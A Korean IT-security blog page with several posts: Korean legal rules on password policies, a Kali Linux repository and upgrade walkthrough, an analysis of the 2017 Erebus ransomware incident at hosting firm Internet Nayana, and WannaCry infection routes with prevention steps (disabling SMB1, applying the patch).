정보통신망 이용촉직 및 정보보호 등에 관한 법률(이하 정통망법)과 개인정보 보호법에서는 정보통신서비스의 이용자와 사용자가 안전한 비밀번호를 설정하고 서비스에 로그온 할 수 있도록 법률로서 서비스 제공자에게 의무하화고 있습니다. 하지만 아직도 이에 대한 인식은 많이 부족한 편입니다. 실제로 여러 웹서비스에 구현되어 있는 계정의 비밀번호 관련 기능을 살펴보면 의무적으로 제공되어야 할 기능이 제대로 구현되어 있지 않은 경우가 많습니다.



정보통신망법에 명시된 비밀번호 관련 규정

사실 정보통신망법에는 이용자와 사용자의 비밀번호에 대한 직접적인 규정은 없습니다. 다만 비밀번호와 같은 개인정보의 보호와 관련된 조항은 28조(개인정보의 보호조치)와 45조(정보통신망의 안전성 확보 등)에서 언급되어 있습니다.


제28조(개인정보의 보호조치) ① 정보통신서비스 제공자등이 개인정보를 처리할 때에는 개인정보의 분실·도난·유출·위조·변조 또는 훼손을 방지하고 개인정보의 안전성을 확보하기 위하여 대통령령으로 정하는 기준에 따라 다음 각 호의 기술적·관리적 조치를 하여야 한다.  <개정 2016.3.22.>

1. 개인정보를 안전하게 처리하기 위한 내부관리계획의 수립·시행

2. 개인정보에 대한 불법적인 접근을 차단하기 위한 침입차단시스템 등 접근 통제장치의 설치·운영

3. 접속기록의 위조·변조 방지를 위한 조치

4. 개인정보를 안전하게 저장·전송할 수 있는 암호화기술 등을 이용한 보안조치

5. 백신 소프트웨어의 설치·운영 등 컴퓨터바이러스에 의한 침해 방지조치

6. 그 밖에 개인정보의 안전성 확보를 위하여 필요한 보호조치

② 정보통신서비스 제공자등은 이용자의 개인정보를 처리하는 자를 최소한으로 제한하여야 한다.  <개정 2016.3.22.>

[전문개정 2008.6.13.]


제45조(정보통신망의 안정성 확보 등) ① 정보통신서비스 제공자는 정보통신서비스의 제공에 사용되는 정보통신망의 안정성 및 정보의 신뢰성을 확보하기 위한 보호조치를 하여야 한다.

미래창조과학부장관은 제1항에 따른 보호조치의 구체적 내용을 정한 정보보호조치에 관한 지침(이하 "정보보호지침"이라 한다)을 정하여 고시하고 정보통신서비스 제공자에게 이를 지키도록 권고할 수 있다.  <개정 2012.2.17., 2013.3.23.>

③ 정보보호지침에는 다음 각 호의 사항이 포함되어야 한다.  <개정 2016.3.22.>

1. 정당한 권한이 없는 자가 정보통신망에 접근·침입하는 것을 방지하거나 대응하기 위한 정보보호시스템의 설치·운영 등 기술적·물리적 보호조치

2. 정보의 불법 유출·위조·변조·삭제 등을 방지하기 위한 기술적 보호조치

3. 정보통신망의 지속적인 이용이 가능한 상태를 확보하기 위한 기술적·물리적 보호조치

4. 정보통신망의 안정 및 정보보호를 위한 인력·조직·경비의 확보 



하지만 눈을 씻고 봐도 비밀번호에 대한 직접적인 언급은 없습니다. 비밀번호나 보안기술에 대해 상세하게 법에서 언급하긴 어렵죠. 그래서 미래창조과학부 장관에게 고시를 통해 상세한 규정을 정하라고 되어 있습니다. 정보통신망 이용촉진 및 정보보호 등에 관한 법률 시행령 ( 약칭: 정보통신망법 시행령 )의 제15조(개인정보의 보호조치)입니다.


제15조(개인정보의 보호조치) ① 법 제28조제1항제1호에 따라 정보통신서비스 제공자등은 개인정보의 안전한 처리를 위하여 다음 각 호의 내용을 포함하는 내부관리계획을 수립·시행하여야 한다.  <개정 2016.9.22.>

1. 개인정보 보호책임자의 지정 등 개인정보보호 조직의 구성·운영에 관한 사항

2. 정보통신서비스 제공자의 지휘·감독을 받아 이용자의 개인정보를 처리하는 자(이하 이 조에서 "개인정보취급자"라 한다)의 교육에 관한 사항

3. 제2항부터 제5항까지의 규정에 따른 보호조치를 이행하기 위하여 필요한 세부 사항

② 법 제28조제1항제2호에 따라 정보통신서비스 제공자등은 개인정보에 대한 불법적인 접근을 차단하기 위하여 다음 각 호의 조치를 하여야 한다. 다만, 제3호의 조치는 전년도 말 기준 직전 3개월간 그 개인정보가 저장·관리되고 있는 이용자 수가 일일평균 100만명 이상이거나 정보통신서비스 부문 전년도(법인인 경우에는 전 사업연도를 말한다) 매출액이 100억원 이상인 정보통신서비스 제공자등만 해당한다.  <개정 2012.8.17.>

1. 개인정보를 처리할 수 있도록 체계적으로 구성한 데이터베이스시스템(이하 "개인정보처리시스템"이라 한다)에 대한 접근권한의 부여·변경·말소 등에 관한 기준의 수립·시행

2. 개인정보처리시스템에 대한 침입차단시스템 및 침입탐지시스템의 설치·운영

3. 개인정보처리시스템에 접속하는 개인정보취급자 컴퓨터 등에 대한 외부 인터넷망 차단

4. 비밀번호의 생성 방법 및 변경 주기 등의 기준 설정과 운영

5. 그 밖에 개인정보에 대한 접근통제를 위하여 필요한 조치

③ 법 제28조제1항제3호에 따라 정보통신서비스 제공자등은 접속기록의 위조·변조 방지를 위하여 다음 각 호의 조치를 하여야 한다.

1. 개인정보취급자가 개인정보처리시스템에 접속하여 개인정보를 처리한 경우 접속일시, 처리내역 등의 저장 및 이의 확인·감독

2. 개인정보처리시스템에 대한 접속기록을 별도 저장장치에 백업 보관

④ 법 제28조제1항제4호에 따라 정보통신서비스 제공자등은 개인정보가 안전하게 저장·전송될 수 있도록 다음 각 호의 보안조치를 하여야 한다.  <개정 2014.11.28., 2017.3.22.>

1. 비밀번호의 일방향 암호화 저장

2. 주민등록번호, 계좌정보 및 바이오정보 등 방송통신위원회가 정하여 고시하는 정보의 암호화 저장

3. 정보통신망을 통하여 이용자의 개인정보 및 인증정보를 송신·수신하는 경우 보안서버 구축 등의 조치

4. 그 밖에 암호화 기술을 이용한 보안조치

⑤ 법 제28조제1항제5호에 따라 정보통신서비스 제공자등은 개인정보처리시스템 및 개인정보취급자가 개인정보 처리에 이용하는 정보기기에 컴퓨터바이러스, 스파이웨어 등 악성프로그램의 침투 여부를 항시 점검·치료할 수 있도록 백신소프트웨어를 설치하여야 하며, 이를 주기적으로 갱신·점검하여야 한다.

⑥ 방송통신위원회는 제1항부터 제5항까지의 규정에 따른 사항과 법 제28조제1항제6호에 따른 그 밖에 개인정보의 안전성 확보를 위하여 필요한 보호조치의 구체적인 기준을 정하여 고시하여야 한다.

[전문개정 2009.1.28.]


위에서 보면 시행령 제15조 2항의 4에서 정보통신서비스 제공자에게 비밀번호의 생성 방법과 변경 주기 등의 기준 설정과 운영하라고 하고 있지만 구체적인 기준은 역시나 없습니다. 하지만 6항에서 구체적인 기준을 방송통신위원회가 고시하도록 또~ 위임하고 있습니다.

그렇다면 고시를 봐야겠죠 ? 


방송통신위원회고시 제2015-3호(2015.5.19 일부개정) "개인정보의 기술적·관리적 보호조치 기준입"니다. 


제4조(접근통제) ⑦ 정보통신서비스 제공자등은 이용자가 안전한 비밀번호를 이용할 수 있도록 비밀번호 작성규칙을 수립하고, 이행한다.

⑧ 정보통신서비스 제공자등은 개인정보취급자를 대상으로 다음 각 호의 사항을 포함하는 비밀번호 작성규칙을 수립하고, 이를 적용·운용하여야 한다.

1. 영문, 숫자, 특수문자 중 2종류 이상을 조합하여 최소 10자리 이상 또는 3종류 이상을 조합하여 최소 8자리 이상의 길이로 구성

2. 연속적인 숫자나 생일, 전화번호 등 추측하기 쉬운 개인정보 및 아이디와 비슷한 비밀번호는 사용하지 않는 것을 권고

3. 비밀번호에 유효기간을 설정하여 반기별 1회 이상 변경


위의 8항에서 명시하고 있는 비밀번호 규정은 "개인정보취급자"가 그 대상입니다. 즉 정보통신서비스 "이용자"가 아니라 "사용자"에 해당되는 것이죠. 반면 "이용자"의 비밀번호에 대한 규정은 보이지 않습니다. 다만 7항에서 이용자가 안전한 비밀번호를 이용할 수 있도록 자체적인 비밀번호 작성 규칙을 수립하고 이행하라고만 하고 있습니다. 서비스 제공자 스스로 이용자의 비밀버호 규칙을 수립하고 이행하면 되는 것입니다.


개인정보보호법에 명시된 비밀번호 관련 규정

역시 개인정보보호법에도 직접적으로 비밀번호와 관련된 조항은 없습니다. 정보통신망법과 마찬가지로 관리적, 기술적 보호조치에 대한 조항을 찾아보면 다음과 같은 조항을 찾을 수 있습니다.


제29조(안전조치의무) 개인정보처리자는 개인정보가 분실·도난·유출·위조·변조 또는 훼손되지 아니하도록 내부 관리계획 수립, 접속기록 보관 등 대통령령으로 정하는 바에 따라 안전성 확보에 필요한 기술적·관리적 및 물리적 조치를 하여야 한다.  <개정 2015.7.24.>


너무도 씸~플!합니다. 대통령령으로 정할테니 따르라는 것이죠.

그렇다면 그 대통령령을 찾아봐야겠죠 ? 그 대통령령은 "대통령령 제28150호(2017.6.27)  개인정보보호법 시행령" 입니다.


제30조(개인정보의 안전성 확보 조치) ① 개인정보처리자는 법 제29조에 따라 다음 각 호의 안전성 확보 조치를 하여야 한다.

1. 개인정보의 안전한 처리를 위한 내부 관리계획의 수립·시행

2. 개인정보에 대한 접근 통제 및 접근 권한의 제한 조치

3. 개인정보를 안전하게 저장·전송할 수 있는 암호화 기술의 적용 또는 이에 상응하는 조치

4. 개인정보 침해사고 발생에 대응하기 위한 접속기록의 보관 및 위조·변조 방지를 위한 조치

5. 개인정보에 대한 보안프로그램의 설치 및 갱신

6. 개인정보의 안전한 보관을 위한 보관시설의 마련 또는 잠금장치의 설치 등 물리적 조치

② 행정자치부장관은 개인정보처리자가 제1항에 따른 안전성 확보 조치를 하도록 시스템을 구축하는 등 필요한 지원을 할 수 있다.  <개정 2013.3.23, 2014.11.19>

③ 제1항에 따른 안전성 확보 조치에 관한 세부 기준은 행정자치부장관이 정하여 고시한다.  <개정 2013.3.23, 2014.11.19>


그런데 역시나 시행령에도 비밀번호에 관한 조항은 없습니다. 다만 3항에 행정자치부장관에게 위임하는 조항이 있습니다. 그렇습니다. 행정자치부장관의 안전성 확보 조치 관련 고시를 찾아야 합니다. 이 고시는 "행정자치부고시 제2016-35호(2016.9.1) 개인정보의 안전성 확보조치 기준" 입니다.


제5조(접근 권한의 관리) ① 개인정보처리자는 개인정보처리시스템에 대한 접근 권한을 업무 수행에 필요한 최소한의 범위로 업무 담당자에 따라 차등 부여하여야 한다.

② 개인정보처리자는 전보 또는 퇴직 등 인사이동이 발생하여 개인정보취급자가 변경되었을 경우 지체없이 개인정보처리시스템의 접근 권한을 변경 또는 말소하여야 한다.

③ 개인정보처리자는 제1항 및 제2항에 의한 권한 부여, 변경 또는 말소에 대한 내역을 기록하고, 그 기록을 최소 3년간 보관하여야 한다.

④ 개인정보처리자는 개인정보처리시스템에 접속할 수 있는 사용자계정을 발급하는 경우 개인정보취급자 별로 사용자계정을 발급하여야 하며, 다른 개인정보취급자와 공유되지 않도록 하여야 한다.

⑤ 개인정보처리자는 개인정보취급자 또는 정보주체가 안전한 비밀번호를 설정하여 이행할 수 있도록 비밀번호 작성규칙을 수립하여 적용하여야 한다.

⑥개인정보처리자는 권한 있는 개인정보취급자만이 개인정보처리시스템에 접근할 수 있도록 계정정보 또는 비밀번호를 일정 횟수 이상 잘못 입력한 경우 개인정보처리시스템에 대한 접근을 제한하는 등 필요한 기술적 조치를 하여야 한다.

⑦ [별표]의 유형1에 해당하는 개인정보처리자는 제1항 및 제6항을 아니할 수 있다.



제7조(개인정보의 암호화) ① 개인정보처리자는 고유식별정보, 비밀번호, 바이오정보를 정보통신망을 통하여 송신하거나 보조저장매체 등을 통하여 전달하는 경우에는 이를 암호화하여야 한다.

② 개인정보처리자는 비밀번호 및 바이오정보는 암호화하여 저장하여야 한다. 다만, 비밀번호를 저장하는 경우에는 복호화되지 아니하도록 일방향 암호화하여 저장하여야 한다.


위의 내용을 살펴보면 개인정보의 안전성 확보조치 기준 고시의 제5조 5항과 6항은 사용자가 아닌 이용자의 비밀번호에 대한 작성 규칙을 수립하고 적용할 것을 규정하고 있습니다. 그리고 구체적으로 비밀번호의 길이와 규칙을 명시하고 있지는 않습니다.  다만 "정보주체 즉 이용자가 안전한 비밀번호를 설정하여 이행할 수 있도록" 이라고 선언하고 있습니다. 


결론

앞에서 살펴보았듯 정보통신망법과 개인정보보호법의 이용자 및 사용자 비밀번호와 관련된 규정은 많이 다릅니다. 정보통신망법은 이용자의 개인정보를 취급하는 개인정보 취급자(사용자라고 봄)에 대해서는 3종류 8자 조합 및 2종류 10자 조합의 규칙을 적용하라고 하고 있고 이용자에 대해서는 개인정보보호법과 같이 "안전한 비밀번호 규칙"을 자체적으로 수립하여 적용하도록 하고 있습니다.


사업자의 입장에서 이용자에 대해서는 같은 관점에서 조치하면 되지만 개인정보취급자에 대해서는 정보통신망법의 규정을 적용받는지 아니면 아무런 규정이 없는 개인정보보호법의 적용을 받는 것인지 애매하게 생각할 수 있습니다.


하지만 정보통신망법은 연간 매출액 또는 세입이 1,500억 이상이거나 정보통신서비스 매출액 기준 100억 혹은 최근3개월 간 1일 평균 이용자수 100만명 이상인 경우에만 적용받는 "특별법"이기 때문에 위의 기준에 부합된다면 정보통신망법을 따라야 하며 그렇지 않을 경우 "일반법"인 개인정보 보호법을 따르면 됩니다.



  • 베짱이 2017.07.13 06:15 신고

    쇼핑몰을 하거나 온라인 커머스 사업 등을 할때 필수적인 지식이죠. 잘 보았습니다. ㅋㅋ

    • taeho Tae-Ho 2017.07.13 19:37 신고

      쇼핑몰이라면 매출에 관계 없이 개인정보보호법의 적용을 받죠. 매출100억이 넘거나 직전 3개월 평균 가입자 수가 100만명이 넘으면 정보통신망법의 적용을 추가로~ 받게 되구요. 꼭~알아둬야 할 상식~같은 법이죠.


칼리리눅스2.0이 2017년 1월에 업그레이드 되었다. 버전이 바뀐것은 아니고 칼리리눅스 홈페이지에 가면 2017년01월 버전이라고만 나와 있는 듯 하다. 그래서 예전에 설치했던 VMWare 이미지를 구동하고 업그레이드를 시도했다.


칼리리눅스2.0은 이전의 1.0과 달리 Debian 배포판을 이용해 만들어져 있기 때문에 가장 흔히 사용되는 서버용 리눅스 배포판인 CentOS나 RedHat 처럼 yum 명령으로 업데이트를 하는것이 아니라 apt-get 이라는 명령을 이용해 업그레이드를 해야한다.


하지만..그새.. Online 업데이트를 위해 제공되는 리포지토리의 URL이 변경된 듯 하다. 다음과 같이 주루룩~~ 에러가 뜬다.



심하다. -.-


CentOS나 RedHat의 yum 명령도 패키지들의 원격 온라인 업데이트를 지원한다. 그리고 인터넷을 통해 연결할 리포지토리의 URL을 운영체제 내부적으로 유지한다. 그래서 RedHat CD로 설치한 경우 돈을~내고 서브스크립션을 구매하지 않으면 원격 온라인 업데이트를 이용할 수 없다. 하지만 CentOS와 RedHat은 동일한 배포본이기에 CentOS의 리포지토리로 주소를 변경하면 업데이트가 가능하다. (보러가기:http://blogger.pe.kr/465)



칼리리눅스는 데비안 배포본이므로 RedHat과는 다르지만 비슷하게 리포지토리의 URL을 변경할 수 있다. 

아래 화면에 보이는 /etc/apt/sources.list 파일이 리포지토리 URL을 저장하고 있는 파일이다.



이 파일에는 리포지토리의 URL이 몇개 들어 있는데... 그 주소를 변경해야 한다. 변경해야 하는 주소는 Kali Linux의 Document 사이트에 나와 있더라는...

그 주소는 아래의 URL이다.



이 주소로 접속하면 다음과 같은 페이지가 보인다.



위의 적색 상자에 있는 URL이 Kali 리눅스 2.0의 리포지토리 주소다. 이 주소를 다음과 같이 sources.list에 수정해 넣는다. 기존의 URL은 지워도 되고 #으로 주석 처리해도 된다.



저장한 뒤 다시 apt-get update로 패키지 정보를 업데이트 한다. 한국어 관련 부분은 무시되지만 무시해라... ^^



그리고 apt-get dist-upgrade 명령을 통해 최신 버전으로 칼리리눅스를 업그레이드 한다.



그리 크지 않은 용량을 다운로드 받아야 한다고 메시지가 나온다. 그리고 계속하겠냐고 묻는데.... Y를 누를 땐 신중하자...



왜냐하면... 시간이 매우 오래 걸린다. 지금...두 시간이 지났는데... 끝날 기미가 안보인다. 


하여튼...에러 안나고 업그레이드가 잘 되길 기도해본다. 


  • 지후대디 2017.07.02 23:31 신고

    최종적으로 업그레이드는 잘 끝나셨는지요?
    갑자기 리눅스 화면을 보니 예전에 단말기 보안 때문에 잠시 미팅했던 일이 떠오릅니다.
    요즘 단말기들도 운영체제가 거의 리눅스가 통일을 했는데 최근 들어 안드로이드 단말기가 많이 시도되고 있어서 또 새로운 바람이 부는 것 같습니다.

    • taeho Tae-Ho 2017.07.03 09:00 신고

      네~ 3시간30분 걸렸네요. 해외이다 보니 속도가 느린데다가 그마저도 들쭉날쭉해서 오래걸리네요..
      ㅎㅎ 맞습니다. 저도 지후대디님 블로그 갈 때마다 애드센스포럼 때와 단말기 보안 때문에 미팅했던 기억이 납니다~ ^^ 그 후에도 KT기가홈게이트웨이에 비슷한 이슈로 진행했었는데 역시나 단말기 제조업체들의 비용 이슈로 흐지부지 되었죠~ 보안과 돈이 얽히는 문제는 참
      풀기 힘든 듯 합니다. ^^
      즐거운 하루 되세요~

  • 씨디맨 2017.07.03 06:17 신고

    이거 보니 괜히 옛날생각 나네요.

    • taeho Tae-Ho 2017.07.03 09:01 신고

      ㅎㅎ 좋은 추억이시길 바랍니다~ ^^ 저도 이십년째 짬짬히 리눅스를 만지게 되네요~

  • 베짱이 2017.07.03 07:38 신고

    잘은 모르지만 어마어마하게 어려워보여요. ㅋㅋ

    • taeho Tae-Ho 2017.07.03 09:02 신고

      그리 어렵진 않아요~ 관심분야가 다르고 적성이 다르다 보니 그런거죠~ 저도 깊이 들어가면 어려워서 하기 싫어요~ ^^


리눅스 랜섬웨어의 등장


드디어(?) 리눅스 랜섬웨어가 등장했다. 그리고 국내의 첫번째 피해자는 도메인 및 호스팅 업체인 인터넷나야나 였다.


랜섬웨어는 일반적인 악성코드가 아니다. 랜섬웨어는 악성코드들이 갖고 있는 취약점을 공격하는 특징을 갖고 있지 않은 것이 일반적이다.(드물게 취약점을 공격해 스스로 전파하는 랜섬웨어도 있다.)  때문에 "악성코드"라 하면 Windows 운영체제를 타겟으로 만들지만 랜섬웨어는 마음만 먹으면 운영체제를 가리지 않고 쉽게 만들 수 있다. 그리고 결국 리눅스 서버의 파일들을 암호화하는 리눅스 랜섬웨어가 등장했다.


인터넷 나야나의 랜섬웨어 사태


지난 6월 초(2017년 6월 초) 웹 호스팅 업체인 인터넷나야나의 웹서버 및 백업서버 153대가 리눅스 랜섬웨어인 에레버스(Erebus)의 변종에 동시 다발적으로 감염되어 파일들이 암호화되어 서비스 장애가 발생하였다. 호스팅 업체의 특성 상 수 많은 고객사의 웹사이트가 접속 불가가 되었고 백업 서버 조차 랜섬웨어에 감염되어 복구가 불가능한 치명적인 상황으로 사태가 악화되었다.


결국 인터넷나야나의 대표이사는 해커들과 협상하였고 12억 정도의 현금을 순차적으로 지불하면서 암호화 된 피해서버를 복구하는 것으로 합의 되었다고 한다. 



리눅스가 윈도 보다 보안상 안전한 이유

유닉스나 리눅스 서버가 윈도 서버보다 보안상 안전하다고 하는 이유는 윈도 운영체제 보다 강력한 "계정간의 권한 분리" 때문이다. 윈도의 경우 개인용 운영체제인 Windows 7/8/10 은 물론 서버 운영체제인 Windows 2008/2012 조차도 "계정간의 권한 분리"가 매우 부실하게 적용되어 있다.


무슨 이야기 인지 이해하지 못하는 사람들이 많을텐데...  쉽게 설명해본다...


1. 운영체제에는 여러개의 계정을 만들 수 있다.


운영체제에는 "계정(Account)"이 존재한다. 운영체제에 생성된 계정은 서버에 로그온 할 수 있고 로그온 한 뒤 파일을 생성하거나 실행하거나 수정 및 삭제할 수 있다. 계정은 관리자 계정(Super User)이 있고 일반 계정이 있다. 윈도의 경우 관리자 계정은 Administrator 로 지정되며 유닉스와 리눅스의 경우 root 라는 이름으로 존재한다. 

일반 계정은 관리자가 임의의 이름으로 만들어 준다. 예를 들자면 taeho 혹은 seyoung과 같이 만들어 주게 된다. 윈도 운영체제도 마찬가지다. 


2. 운영체제에서 계정간의 접근은 기본적으로 불가능해야 한다.


윈도 운영체제의 경우 이 단계에서 부터 보안 아키텍쳐가 흔들리기 시작한다. 예를 들어 앞에서 만든 taeho 라는 계정에서 서버에 접속해 파일을 만들거나 업로드 한다고 가정하면 seyoung 이라는 계정으로 접속해 taeho가 만든 파일을 읽거나 삭제하거나 수정할 수 있을까? 


운영체제의 기본 설정만으로 본다면 유닉스나 리눅스는 "읽기"는 가능하나 수정하거나 삭제할 수 없다. 하지만 윈도는??? 읽기 뿐만 아니라 "수정"이나 "삭제"도 가능하다. 물론 파일이나 폴더마다 권한을 설정하면 윈도에서도 유닉스나 리눅스 수준으로 다른 계정의 파일에 접근하지 못하도록 설정할 수 있다. 하지만 너무 불편할 뿐더러 여러가지 기술적 문제로 인해 이 매우 기본적인 보안 기능을 사용하지 않는다.


때문에 윈도의 경우 어떤 계정에서든, 어떤 방법으로든 랜섬웨어가 동작만 할 수 있다면 다른 사용자, 심지어 수퍼유저인 Administrator가 생성한 파일을 포함해 모든 파일을 암호화해 버릴 수 있는 것이다.


하지만 리눅스의 경우 수퍼유저인 root 계정의 권한만 탈취되지 않는다면 서버의 모든 파일을 암호화할 수 없다. 단지 랜섬웨어를 생성하거나 업로드할 때 탈취한 계정이 소유자인 파일만 암호화 할 수 있다. 


즉 이번 인터넷나아야 처럼 호스팅 업체의 경우 하나의 서버에 다수의 고객사 홈페이지가 운영되는데 기본적으로 고객사 마다 1개씩 계정을 만들어 제공한다. 내가 알기로 하나의 호스팅 서버에 수백개의 홈페이지가 운영되는 경우도 있다. 즉 하나의 서버에 수백개의 계정이 있는 것이다. 따라서 일반 계정인 고객사의 계정이 해킹되어 랜섬웨어에 감염되었다면 이번 처럼 153대의 서버에서 모든 파일이 암호화 되는 사태가 벌어질 수는 없다. 결코...네버...죽어도...!!



그럼에도 불구하고 153대의 서버가 피해를 입은 이유는..

이번 사태는 153대 서버의 수퍼유저 계정인 root 계정의 비밀번호 혹은 접속 권한을 탈취당했기 때문에 발생한 사태임이 분명하다. 그리고 서버 153대의 수퍼유저 권한을 해커에게 탈취당한 이유는 인터넷나야나의 내부 IT관리자들의 보안인식 부재가 원인일 수 밖에 없다. 


이 블로그에도 몇 차례 포스팅했지만 "보안"보다는 "서비스"가 우선인 우리나라의 IT 보안 마인드가 문제인 것이다. 수 백대의 서버를 운영하는 상황에서 할일은 많고 서비스는 유지해야하니 "보안 마인드" 따위는 안드로메다로 날려 보내 버리는 것이다. 개발자나 시스템관리자가 수퍼유저(root)의 계정을 공유하고 "불편"하다는 이유로 수퍼유저 계정인 root 계정의 비밀번호를 공유하거나 모두 통일시켜 놓고 비용이 많이 든다는 이유로 망분리를 등한시 하거나 서버 접속 시 2차 인증 수단을 강구하지 않았기 때문에 이번 사태를 발생시킨 것이다. 


그리고 개발자나 시스템관리자의 보안인식 부재를 만든 원인은 IT 인력에 대한 투자가 부족하기 때문임을 알아야 한다. 서비스를 유지하고 관리하느라 바빠 죽겠고 매일 야근인데 누가 "보안" 따위에 신경을 쓰겠는가? 경영진이나 관리자들은 장애 한번 생기면 원인 파악이나 재발방지 보다는 책임추궁에 골몰이니 어떤 엔지니어가 "보안" 따위를 중요하게 생각하겠는가?


인터넷나야나도 ISMS 인증을 받았다. 하지만 심사 받을 때만 정보보안을 위해 노력하는 척~하고 인증심사 후에는 다시 예전의 무책임한 자세로 돌아가는 그런 행태를 보였다는 것을 안봐도 짐작할 수 있다.


안타깝지만 반면교사로 삼아야...

크래커를 응원하는 것은 결코 바람직하지 못하다는 것을 알고 있다. 또한 테러리스트와도 같은 크래커들과 이번 사태 처럼 협상하고 그들이 요구하는 돈을 지불하는 것이 바람직하지 못하다는 것도 잘 알고 있다.


하지만...


서비스 운영 만큼이나 IT 인력을 충분하게 유지하고 인간답게 일할 수 있도록 지원하며 정보보안에 신경쓰는 것도 중요하다는 것을 IT 조직을 운용하고 있는 경영자들이 이번 사태를 통해 깨달았으면 좋겠다. 그리고 지금까지 IT 조직을 돈이나 쓰는 조직으로 인식하고 정보보안을 등한시 하던 경영자들은 정보보안의 중요성을 깨달았으면 하는 것이다. 여차하면 보안사고 한번에 기업의 생사가 좌우될 수도 있다는 것을 이번 사태가 여실히 보여주고 있으니 말이다.


그런 면에서 매우 안타깝지만 일면 반면교사로 삼아야 한다.


  • 에스델 ♥ 2017.06.19 13:19 신고

    이번에 인터넷나야나 사태를 보면서
    많이 놀랐습니다.
    앞으로 다시는 이런 일이 발생하지 않도록
    말씀하신것처럼 인력을 충분히 유지하고
    인간답게 일할 수 있도록 지원하며
    정보보안에도 많은 신경을 쓰면 좋겠습니다.

    • taeho Tae-Ho 2017.06.19 22:44 신고

      저도 그랬으면 하는 맘이 간절합니다. ^^

  • 지후대디 2017.06.19 20:06 신고

    헉 리눅스는 안전하다고 생각하고 있었는데 더 이상은 아니군요
    사실 정보보안 중요하다고 하면서도 평소에 필요한 인력이 아니라는 이유로 보통때는 신경쓰지 않는 회사의 경우들을 저도 많이 봐서 글에 공감이 팍팍 됩니다,

    • taeho Tae-Ho 2017.06.19 22:45 신고

      밖으로 부터의 위협보다 내부 통제 미흡으로 인한 위협이 더 큰 피해로 이어지는 법이죠~

  • 카멜리온 2017.06.20 17:05 신고

    윈도보다도 더욱 보안상 안전하다고 알려진 리눅스도.. 리눅스 랜섬웨어에 의해 피해를 입는군요.
    153대 서버가 피해를 입다니.. 엄청나네요...
    항상 주의해야겠습니다

    • taeho Tae-Ho 2017.06.22 23:18 신고

      예전 수백대의 서버에서 파일들이 삭제되어 발생한 농협사태 이후 서버가 직접적으로 공격당한 최대규모의 APT 공격이라고 생각됩니다.

  • 베짱이 2017.06.24 08:34 신고

    랜섬웨어의 무서움...

    • taeho Tae-Ho 2017.06.24 13:03 신고

      무섭죠.. 일단 컴퓨터에 침입하면...
      게임 끝입니다..

  • 씨디맨 2017.06.26 04:57 신고

    혼자서 너무 많이 관리해야 하는 그런 형태 때문에 더 그럴지도 모르겠어요. 보안 문제라는게 닥치면 큰일인데 그렇지 않으면 그냥 둬도 굴러가니 ... 저도 과거에 서버관리자 해봤을 때 딱 그랬거든요.

    • taeho Tae-Ho 2017.06.26 09:29 신고

      씨디맨님께서 여기까지 오시다니...^^
      맞습니다. IT조직이 매출과 직결되는 조직이 아니다보니.. 수십,수백대의 서버와 네트워크, 게다가 어플리케이션 관리를 몇명 안되는 인력으로 운용하려 하죠. 그러다 보면 나야나 사태와 같은 어이없는 사태가발생할 수 밖에 없습니다.


랜섬웨어란 ?

참..지겹게도 랜섬웨어가 사람들을 괴롭히고 있다. 보안업계에선 너도 나도 자신들의 보안 솔루션이 랜섬웨어 차단이 가능하다고 광고하고 있는데 왜 이다지도 랜섬웨어는 유행에 유행을 하고 있을까?

다시한번 말하지만.. 랜섬웨어는 바이러스나 여타 악성코드와는 달리 현재까지는 백신이나 IPS는 물론 인공지능으로도 "악성 코드"라고 단정지을 수 없다. 랜섬웨어에 의해 파일들이 암호화되기 전까지는 말이다. 특정 프로그램이 랜섬웨어인지 여부를 정확하게 판단하기 위해서는 사람의 개입이 필수적이다. 게다가 랜섬웨어로 판명되어 차단기능이 백신 등에 추가될 경우 매우 손쉽게 변종을 만들수 있기 때문에 여타 악성코드에 비해 박멸이 어렵다.

랜섬웨어가 무엇인지 아직 정확하게 이해하지 못하고 있다면 예전에 포스팅 한 랜섬웨어의 정의와 증상, 예방법을 참고하기 바란다. (보러가기)

워너크라이 랜섬웨어

5월12일 부터 전 세계적으로 활동을 시작한 워너크라이 랜섬웨어는 감염될 경우 PC내의 중요 문서, 사진 파일 등을 암호화한 뒤 다음과 같은 창을 보여준다.

EST시큐리티 제공 EST시큐리티 제공 "워너크라이 랜섬웨어"

한마디로 "니 파일 다 암호화 되었으니 돈내... 암호 풀어줄께.."다.

전형적인 랜섬웨어의 모습이다.

이 랜섬웨어는 5월 12일 부터 여러 글로벌 기업에도 감염되어 큰 피해를 보고 있다. 영국의 한 보안엔지니어가 전파된지 이틀째 되는날 킬스위치를 찾아 더 이상의 대규모 전파를 막았지만 안심할 수는 없는 상태다. 게다가 5월13일 경 부터는 국내의 대학병원과 신용카드결제기로 사용되는 .. Windows 운영체제를 사용하는 POS 단말기에도 감염이 되었다는 보고가 들어오는 상태다.



워너크라이 감염 경로

워너크라이 랜섬웨어는 Windows 운영체제의 취약점을 공격한다. 즉 조직 내의 한 PC에 이메일, 메신저, USB 등을 통해 감염될 경우 내부 확산은 Windows 운영체제의 취약점을 통해 감염된다.

이때 악용되는 취약점은 Windows의 파일 공유 서비스에 이용되는 SMB 서비스의 취약점이다. 정확하게는 "SMB v2 원격코드 실행 취약점"이며 Windows 제조사인 마이크로소프트에 의해 MS17-010 취약점으로 불린다. 2017년 들어 10번째로 발견된 치약점이라는 의미로 보인다. 이 취약점을 쉽게 설명하면 해커가 파일공유서비스가 실행 중인 윈도PC 혹은 서버의 윈도에 로그온 하지 않고도(즉, 비밀번호를 모르는 상태에서도) 원격에서 명령을 실행시킬 수 있다는 것이다. 

워너크라이 랜섬웨어 감염 예방법

워너크라이 랜섬웨어도 랜섬웨어다. 때문에 앞의 포스트에서 설명한 방법에 의해 예방이 가능하다. (보러가기) 그리고 한가지 더 조치를 취하면 보다 더 안전하다고 할 수 있다. 취약점이 있는 SMB 서비스를 비활성화 시키는 것이다. 하지만 파일공유서비스를 계속 이용해야 한다면 이 방법은 사용할 수 없다.

먼저 제어판에서 프로그램 제거 또는 변경 화면을 실행시키고 Windows 기능 켜기/끄기를 선택한다.

Windows 기능 켜기/끄기를 실행하면 아래 처럼 작은 창이 실행되는데 "SMB 1.0/CIFS 파일 공유 지원"에 체크를 없애준다.

다만 이 방법은 워너크라이의 내부 전파를 막기 위한 것이라고 보면 된다.

만약 사용 중인 컴퓨터에서 파일 공유 서비스를 사용해야만 한다면 다음의 윈도 보안업데이트를 적용하면 된다.

Windows Patch - KB4012212

